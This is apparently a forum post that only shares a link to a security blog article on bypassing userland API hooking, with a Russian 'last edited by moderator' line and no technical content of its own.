Advania Blog – Practical Guide to Bypassing Userland API Hooking: https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
Последнее редактирование модератором: